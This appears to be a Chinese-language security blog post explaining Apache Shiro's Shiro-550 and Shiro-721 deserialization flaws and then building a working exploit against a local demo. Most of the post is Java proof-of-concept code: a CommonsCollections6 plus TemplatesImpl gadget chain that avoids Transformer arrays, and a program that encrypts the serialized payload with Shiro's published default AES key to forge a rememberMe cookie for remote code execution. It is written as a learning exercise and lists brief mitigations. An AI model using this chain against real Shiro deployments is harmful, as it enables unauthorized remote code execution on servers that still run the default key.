TemplatesImpl在Shiro中的利用

Shiro

Shiro是一个强大的、易于使用的 Java 安全框架,它提供了以下四大核心功能:

  • 身份验证 (Authentication):验证用户是否是其声称的身份,通常通过用户名和密码登录。
  • 授权 (Authorization):控制用户对应用程序资源的访问权限,即“谁可以做什么”。
  • 密码学 (Cryptography):提供易于使用的加密 API,用于保护数据。
  • 会话管理 (Session Management):在任何环境中(包括非 Web 环境)提供会话功能。

Shiro两个有名的反序列化漏洞:Shiro-550和Shiro-721。反序列化漏洞是由于程序在处理不可信的序列化数据时,未能对数据进行充分验证和过滤,导致攻击者可以构造恶意的序列化数据,并在反序列化过程中执行任意代码。

Shiro-550

这个漏洞主要出现在 Shiro 的 RememberMe功能中。当用户登录时,如果勾选了RememberMe选项,Shiro 会将用户的身份信息进行序列化,并使用一个硬编码或默认的密钥对其进行加密,然后将加密后的数据存储在 rememberMe cookie中发送给浏览器。当浏览器下次请求时,会将rememberMe cookie带回服务器。Shiro 会解密并反序列化这个 cookie 中的数据,以实现用户自动登录。

大致流程如下:

漏洞的根本原因在于:

  • 默认或硬编码的加密密钥: 在 Shiro 1.2.5 版本之前,Shiro 默认使用一个硬编码的 AES 加密密钥。这个密钥是公开的,或者可以通过某种方式推导出来。
  • 可控的序列化数据: 攻击者可以利用这个公开的密钥,构造恶意的序列化数据(通常包含 RCE 载荷),然后用相同的密钥进行加密,并将其作为rememberMecookie的值发送给服务器。

当服务器接收到这个恶意rememberMe cookie 时,会使用已知的密钥进行解密,然后尝试反序列化其中的数据,从而实现RCE。

解决办法:

  • 升级Shiro版本
  • 如果无法立即升级,配置一个强大、随机且唯一的 rememberMe 加密密钥。
  • 禁用RememberMe功能:如果应用不需要“记住我”功能,可以考虑直接禁用它。

Shiro-721

Shiro-721 是一个 Padding Oracle 攻击和 CBC Byte-Flipping 攻击的结合,主要影响 Shiro 的 AES/CBC/PKCS5Padding加密模式。在 Shiro 1.4.2 之前的版本中,虽然 Shiro 修复了 Shiro-550 的默认密钥问题,开始在每次启动时随机生成密钥,但是它默认使用的加密模式 AES/CBC/PKCS5Padding 存在漏洞。

攻击者无法直接获取密钥,但可以利用 Padding Oracle 攻击:

  1. Padding Oracle 攻击:通过观察服务器在解密rememberMe cookie时返回的不同错误信息(例如,填充错误会导致不同的响应),攻击者可以一点点地推断出加密数据的明文,或者验证自己猜测的明文是否正确。
  2. CBC Byte-Flipping 攻击:结合 Padding Oracle,攻击者可以修改加密数据的某个字节,然后在服务器端解密时,利用 CBC 模式的特性,导致明文的下一个块发生可预测的改变。通过多次这样的尝试,攻击者最终能够修改反序列化数据中的关键字节,从而构造出恶意的序列化数据,实现RCE**。

与 Shiro-550 的区别: Shiro-721 不需要知道硬编码的密钥,而是通过加密模式本身的漏洞来逐步推断或修改数据,攻击成本相对更高,但一旦利用成功,同样可以导致 RCE。

影响范围: Apache Shiro 1.4.2 之前的版本。在 1.4.2 及更高版本中,Shiro 默认改用了 AES/GCM/PKCS5Padding 模式,该模式能够更好地抵抗 Padding Oracle 攻击。

搭建Shiro demo

搭建简单demo,Shiro版本为1.2.4。在Shiro 1.2.5版本之前使用默认AES加密密钥kPH+bIxk5D2deZiIxcaaaA==来加密rememberMe cookie

执行命令mvn package,将项目打包成war包

运行/调试配置选择Tomcat本地,其配置为在服务器启动时部署shirodemo.war

然后访问 http://localhost:8080/shirodemo/ ,会跳转至登录页面,账号密码为root/secret,登录的时候勾选Remember me,抓包看看

登录成功之后,服务端会返回一个rememberMe cookie

CC6构造payload

攻击思路:

  • 生成序列化payload
  • 使用Shiro默认key进行加密
  • 将密文作为rememberMe的cookie发送给服务端

这里使用CC6的链子,加密用Shiro内置的类org.apache.shiro.crypto.AesCipherService,得到一段密文

将密文作为rememberMe的值传入

结果是没有弹出计算器,服务器出现报错。报错原因为:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。CC6里用到了Transformer数组,所以此处报错。

TemplatesImpl构造payload

这里考虑用TemplatesImpl,利用TemplatesImpl执行命令的代码:

1
2
3
4
5
TemplatesImpl obj = new TemplatesImpl(); 
setFieldValue(obj, "_bytecodes", new byte[][] {bytescode}); 
setFieldValue(obj, "_name", "Attack"); 
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); 
obj.newTransformer();

CC3中利用InvokerTransformer 调用 TemplatesImpl#newTransformer 方法:

1
2
3
4
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(obj),
    new InvokerTransformer("newTransformer", null, null)
};

上述也用到了Transformer数组,不符合要求。如何改造?

在CC6中使用了TiedMapEntry这个类,它的构造函数接受了两个参数,一个是Map,一个是对象Key。TiedMapEntry类有个getValue调用了map的get方法,并传入key。

1
2
3
public Object getValue() {
    return map.get(key);
}

当这个map是LazyMap的时候,其get方法就触发了transform()方法。

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

在构造CC6的时候,这里参数key的值是可以随意设置的,因为Transformer[]数组的首个对象是ConstantTransformer,通过ConstantTransformer来初始化恶意对象。但是现在不能使用Transformer[]数组,就不能使用ConstantTransformer了。不过这个LazyMap#get 的参数key会被传入transform(),它也能扮演ConstantTransformer的角色,用来传递恶意对象——在构造TiedMapEntry的时候,key传入创建的TemplatesImpl对象。

编写POC

首先创建TemplatesImpl对象:

1
2
3
4
TemplatesImpl obj = new TemplatesImpl(); 
setFieldValue(obj, "_bytecodes", new byte[][] {bytescode}); //字节码
setFieldValue(obj, "_name", "attack"); // 不为空即可
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); //需要是一个TransformerFactoryImpl对象

然后创建InvokerTransformer去调用newTransformer方法,这里先传入一个不危险的方法,如getClass,避免恶意方法在构造Gadget的时候触发:

1
Transformer transformer = new InvokerTransformer("getClass", null, null);

在构造TiedMapEntry的时候,key传入创建的TemplatesImpl对象:

1
2
3
4
5
6
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj); //传入创建的TemplatesImpl对象
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear(); //效果等同于remove

最后,将InvokerTransformer的方法从getClass改成newTransformer

Cc6Shiro.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package org.example;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
  
import java.io.ByteArrayOutputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Field;  
import java.util.HashMap;  
import java.util.Map;  
public class Cc6Shiro {  
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj, value);  
    }  
  
    public byte[] getPayload(byte[] clazzBytes) throws Exception {  
        TemplatesImpl obj = new TemplatesImpl();  
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});  
        setFieldValue(obj, "_name", "Attack");  
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());  
  
        Transformer transformer = new InvokerTransformer("getClass", null, null);  
  
        Map innerMap = new HashMap();  
        Map outerMap = LazyMap.decorate(innerMap, transformer);  
        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);  
        Map expMap = new HashMap();  
        expMap.put(tme, "valuevalue");  
        outerMap.clear();  
        setFieldValue(transformer, "iMethodName", "newTransformer");  
   
        ByteArrayOutputStream barr = new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(barr);  
        oos.writeObject(expMap);  
        oos.close();  
  
        return barr.toByteArray();  
    }  
}

恶意类:

攻击Shiro:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
package org.example;  
  
import org.apache.shiro.crypto.AesCipherService;  
import org.apache.shiro.util.ByteSource;  
import javassist.ClassPool;  
import javassist.CtClass;  
  
public class AntiShiro {  
    public static void main(String []args) throws Exception {  
        ClassPool pool = ClassPool.getDefault();  
        CtClass clazz =  
                pool.get(org.example.Attack.class.getName());  
        byte[] payloads = new  
                Cc6Shiro().getPayload(clazz.toBytecode());  
        AesCipherService aes = new AesCipherService();  
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");  
  
        ByteSource ciphertext = aes.encrypt(payloads, key);  
        System.out.printf(ciphertext.toString());  
    }  
}

这里用到了Javassist,这是一个非常强大的字节码操作库,可以在运行时创建、检查和修改 Java 字节码。 在pom.xml中导入

1
2
3
4
5
<dependency>  
    <groupId>org.javassist</groupId>  
    <artifactId>javassist</artifactId>  
    <version>3.29.2-GA</version>  
</dependency>

前两行代码:

1
2
3
4
5
// ClassPool是是Javassist中一个非常核心的类,可以理解为一个用于管理和查找CtClass对象的工厂,当需要加载一个类来修改它的字节码时,都是通过ClassPool来完成的。
ClassPool pool = ClassPool.getDefault();`

// pool.get()获取一个CtClass对象,然后CtClass提供的各种方法如addMethod、addField、removeMethod、setSuperclass等来修改这个类的结构和行为。
CtClass clazz = pool.get(org.example.Attack.class.getName());`

攻击效果:

总结

在Shiro框架中,勾选了Remember Me就会将身份信息序列化,并经过加密放在cookie中,默认密钥是泄露的。

想攻击Shiro,就可以考虑构造序列化&加密的RCE命令,替换原来的cookie值。选择使用CC6+TemplatesImpl结合的Gadget链进行攻击。直接使用CC6链进行攻击会因为反序列化流中包含非Java自身数组而报类无法加载的错误,为了规避使用Transformer数组,需要构造新的链。

考虑到LazyMap#get中会对key值进行transform函数处理,如果在这里将key传入TemplatesImpl对象,就能代替之前数组里ConstantTransformer初始化恶意对象的操作,就能将数组长度变为1规避使用数组了。

参考:

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计
本博客已稳定运行